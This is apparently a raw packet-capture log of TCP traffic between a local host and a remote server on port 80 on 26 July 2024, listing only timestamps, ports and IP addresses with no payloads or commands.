Jul 26, 2024 13:08:57.574055910 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.574064970 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.574070930 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.574078083 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.574085951 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.574142933 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.574867010 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.574877977 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.574887991 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.574897051 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.574903965 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.574911118 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.574920893 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.574929953 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.574937105 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.574949026 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.574953079 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.574963093 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.574985981 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.575692892 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.575704098 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.575711966 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.575721025 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.575728893 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.575737000 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.575752020 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.658348083 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.658407927 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.658427954 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.658479929 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.658479929 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.658560991 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.658580065 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.658596992 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.658616066 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.658627987 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.658669949 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.659060955 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.659205914 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.659224033 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.659245968 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.659256935 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.659276009 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.659297943 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.659306049 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.659322023 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.659338951 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.660027027 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.660046101 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.660063028 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.660074949 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.660096884 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.660104990 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.660120010 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.660135984 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.660156012 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.660164118 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.660182953 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.660202980 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.660881042 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.660897017 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.660911083 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.660922050 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.660936117 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.660948038 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.660959005 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.660995960 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.661871910 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.661886930 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.661897898 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.661910057 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.661921024 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.661941051 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.662009001 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.662020922 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.662033081 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.662059069 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.662096977 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.662108898 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.662120104 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.662133932 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.662138939 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.662152052 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.662174940 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.662820101 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.662832975 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.662842035 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.662848949 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.662859917 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.662868023 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.662878990 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.662888050 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.662900925 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.662911892 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.662921906 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.662935019 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.662941933 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.662950039 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.663360119 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.663371086 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.663382053 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.663395882 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.663402081 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.663408995 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.663418055 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.663429976 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.663439035 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.663450003 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.663458109 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.663470030 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.663474083 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.663485050 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.663506985 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.664165974 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.664176941 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.664187908 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.664199114 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.664210081 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.664216995 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.664227962 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.664237022 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.664247036 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.664258003 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.664264917 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.664288998 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.664946079 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.664958000 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.664968014 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.664978027 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.664985895 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.664994955 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.665005922 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.665013075 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.665023088 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.665034056 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.665039062 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.665051937 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.665061951 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.665074110 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.665079117 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.665112972 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.665687084 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.665698051 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.665709972 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.665720940 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.665729046 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.665739059 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.665750027 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.665757895 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.665766954 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.665777922 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.665783882 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.665793896 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.665806055 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.665816069 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.665822983 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.665832043 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.666626930 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.666637897 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.666644096 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.666650057 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.666655064 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.666661024 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.666666985 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.666672945 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.666677952 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.666682959 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.666693926 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.666762114 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.666771889 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.667457104 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.667469025 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.667479038 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.667484045 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.667494059 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.667506933 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.667515039 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.667525053 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.667536974 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.667546034 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.667553902 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.667566061 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.667584896 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.754920959 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.754962921 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.754973888 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.755062103 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.755074978 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.755089045 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.755199909 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.755211115 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.755227089 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.755233049 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.755239010 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.755362988 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.755592108 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.755814075 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.755824089 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.755834103 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.755845070 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.755860090 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.755871058 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.755882978 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.755893946 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.755904913 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.755913973 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.755923986 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.755960941 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.756686926 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.756700039 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.756710052 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.756721973 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.756732941 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.756743908 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.756755114 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.756764889 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.756778002 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.756783962 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.756794930 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.756808996 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.756819010 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.756855965 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.757628918 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.757639885 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.757651091 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.757662058 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.757668018 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.757673025 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.757682085 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.757692099 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.757703066 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.757713079 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.757725000 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.757747889 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.757766962 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.758575916 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.758586884 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.758595943 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.758609056 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.758620977 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.758627892 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.758635044 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.758644104 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.758655071 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.758665085 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.758676052 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.758686066 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.758691072 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.758697987 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.758708000 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.758713961 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.758749962 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.759532928 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.759545088 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.759555101 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.759565115 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.759577036 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.759582996 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.759592056 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.759599924 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.759609938 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.759620905 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.759630919 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.759641886 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.759650946 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.759660006 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.759680033 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.760478973 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.760498047 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.760507107 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.760518074 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.760524988 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.760534048 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.760545015 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.760554075 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.760565042 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.760571957 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.760581017 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.760591030 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.760601044 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.760616064 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.761414051 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.761424065 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.761432886 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.761442900 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.761451960 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.761462927 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.761468887 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.761477947 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.761487007 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.761496067 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.761506081 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.761512041 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.762252092 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.762262106 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.762271881 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.762283087 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.762293100 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.762300014 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.762305975 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.762315035 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.762325048 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.762336016 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.762346029 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.762353897 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.762362003 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.762373924 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.762382030 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.762389898 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.762401104 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.762408018 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.762413979 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.762423992 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.762455940 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.763101101 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.763111115 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.763122082 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.763133049 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.763145924 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.763151884 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.763158083 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.763168097 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.763178110 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.763187885 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.763206959 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.845000982 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.845020056 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.845033884 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.845062971 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.845088959 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.845104933 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.845109940 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.845144033 CEST	80	49171	198.46.176.133	192.168.2.22
